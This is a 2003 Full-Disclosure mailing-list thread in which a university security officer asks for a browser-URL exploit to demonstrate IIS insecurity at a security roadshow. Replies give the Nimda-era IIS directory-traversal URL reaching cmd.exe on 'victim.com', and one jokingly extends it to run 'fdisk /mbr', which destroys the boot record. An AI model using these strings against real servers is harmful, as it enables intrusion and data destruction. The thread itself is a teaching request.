RE: [Full-Disclosure] Unusual request

[Sung J. Choe]

Title: Message

> could give a demo of what M$ might have launched on the world

> to get rid of dual-boot boxes!!

 

It may be a bad idea to give Bill Gates and his M$ goons any ideas.  Then again, those lamers who are dual-booting due to fear of the unknown should probably be more decisive and run linux and only linux.  ;-p

 

Sung J. Choe <SChoe[at]oicinc.com>, TICSA Systems Administrator, Facility Security Officer

Oceanic Imaging Consultants, Inc. / www.oicinc.com   Ph #: (808) 539-3634

-----Original Message-----
From: Steve Wray [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, February 12, 2003 2:07 PM
To: [EMAIL PROTECTED]
Subject: RE: [Full-Disclosure] Unusual request

I imagine that setting up a dual-boot Linux/Win2k box and

sending it;

 

http://victim.com/scripts/..%5c%5c../winnt/system32/cmd.exe%20fdisk%20/mbr

 

could give a demo of what M$ might have launched on the world

to get rid of dual-boot boxes!!

;)

the '/' in '/mbr' may need to be escaped though.

 

-----Original Message-----
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] On Behalf Of Sung J. Choe
Sent: Thursday, 13 February 2003 12:42 p.m.
To: 'Paul Schmehl'
Cc: '[EMAIL PROTECTED]'
Subject: RE: [Full-Disclosure] Unusual request

I am looking for an exploit that will give you "root" on
> an unpatched IIS box by simply typing a string in the address line in
> your browser.

I don't know about "root"ing an IIS system but the NIMDA method of exploiting IIS via: http://victim.com/scripts/..%5c%5c../winnt/system32/cmd.exe seems to be a close match to what you are describing.

.--------------------------------------------------.
| Sung J. Choe <schoe[at]oicinc.com>, TICSA        |
| Systems Administrator, Facility Security Officer |
.--------------------------------------------------.----.
                    | Oceanic Imaging Consultants, Inc. |
                    | Phone #: (808) 539-3634 x3634     |
                    .-----------------------------------.

568D CAD6 53A0 92E6 4A2A  4E87 3BA0 5F90 37BB 8EE7

> -----Original Message-----
> From: Paul Schmehl [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, February 12, 2003 1:26 PM
> To: Full-Disclosure
> Subject: [Full-Disclosure] Unusual request
>
>
> The net is filled with so much junk now, it's getting harder to find
> what you need.  I am looking for an exploit that will give
> you "root" on
> an unpatched IIS box by simply typing a string in the address line in
> your browser.  I know I've seen it before, but I can't seem to find it
> amongst all the vulns for IIS and all the web logs that show
> up when you
> google.
>
> I need this for a "security roadshow" that we're putting
> together, so I
> can demonstrate how easy it is to break in to an unpatched box.  Can
> anybody point me in the right direction?
>
> I don't want exploit code.  This is just a simple string that
> you enter
> into the URL box in a browser.  It's at least two or three
> years old, I
> know.
>
> --
> Paul Schmehl ([EMAIL PROTECTED])
> Adjunct Information Security Officer
> The University of Texas at Dallas
> http://www.utdallas.edu/~pauls/
> AVIEN Founding Member
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

schoe.vcf
Description: Binary data